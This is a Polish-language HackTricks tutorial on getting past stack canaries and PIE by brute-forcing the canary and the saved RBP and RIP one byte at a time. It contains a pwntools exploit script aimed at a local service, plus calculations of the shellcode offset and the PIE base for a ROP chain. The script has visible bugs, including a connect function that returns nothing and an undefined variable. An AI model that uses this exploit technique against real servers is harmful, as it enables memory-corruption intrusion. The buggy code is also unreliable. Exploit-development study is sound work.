BF Adresy w Stosie
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.
note
Zauważ, że checksec
może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.
Możesz jednak zauważyć to ręcznie, jeśli odkryjesz, że wartość jest zapisywana w stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed wyjściem.
Brute-Force Adresy
Aby obejść PIE, musisz wyciekować jakiś adres. A jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest brute-forcować RBP i RIP zapisane w stosie w podatnej funkcji.
Na przykład, jeśli binarny plik jest chroniony zarówno przez canary, jak i PIE, możesz zacząć brute-forcować canary, a następnie następne 8 bajtów (x64) będą zapisanym RBP, a następne 8 bajtów będą zapisanym RIP.
tip
Zakłada się, że adres powrotu w stosie należy do głównego kodu binarnego, co, jeśli podatność znajduje się w kodzie binarnym, zazwyczaj będzie miało miejsce.
Aby brute-forcować RBP i RIP z binarnego pliku, możesz ustalić, że zgadnięty bajt jest poprawny, jeśli program coś wyświetli lub po prostu nie zawiesi się. Ta sama funkcja jak ta podana do brute-forcowania canary może być użyta do brute-forcowania RBP i RIP:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
Ostatnią rzeczą, której potrzebujesz, aby pokonać PIE, jest obliczenie przydatnych adresów z wyciekłych adresów: RBP i RIP.
Z RBP możesz obliczyć gdzie zapisujesz swój shell w stosie. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg "/bin/sh\x00" w stosie. Aby obliczyć odległość między wyciekłym RBP a twoim shellcode, możesz po prostu ustawić punkt przerwania po wycieku RBP i sprawdzić gdzie znajduje się twój shellcode, a następnie możesz obliczyć odległość między shellcode a RBP:
INI_SHELLCODE = RBP - 1152
Z RIP możesz obliczyć adres bazowy binarnego pliku PIE, który będzie potrzebny do stworzenia ważnego łańcucha ROP.
Aby obliczyć adres bazowy, wystarczy wykonać objdump -d vunbinary
i sprawdzić ostatnie adresy w disassemblacji:
W tym przykładzie widać, że potrzebne jest tylko 1,5 bajta, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie wyciekłym RIP, ale kończącym się na "000". Na przykład, jeśli wyciekł 0x562002970ecf
, adres bazowy to 0x562002970000
.
elf.address = RIP - (RIP & 0xfff)
Ulepszenia
Zgodnie z niektórymi obserwacjami z tego posta, możliwe jest, że podczas wycieku wartości RBP i RIP, serwer nie zawiesi się przy niektórych wartościach, które nie są poprawne, a skrypt BF pomyśli, że otrzymał dobre. Dzieje się tak, ponieważ niektóre adresy po prostu nie spowodują awarii, nawet jeśli nie są dokładnie poprawne.
Zgodnie z tym wpisem na blogu zaleca się wprowadzenie krótkiego opóźnienia między żądaniami do serwera.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.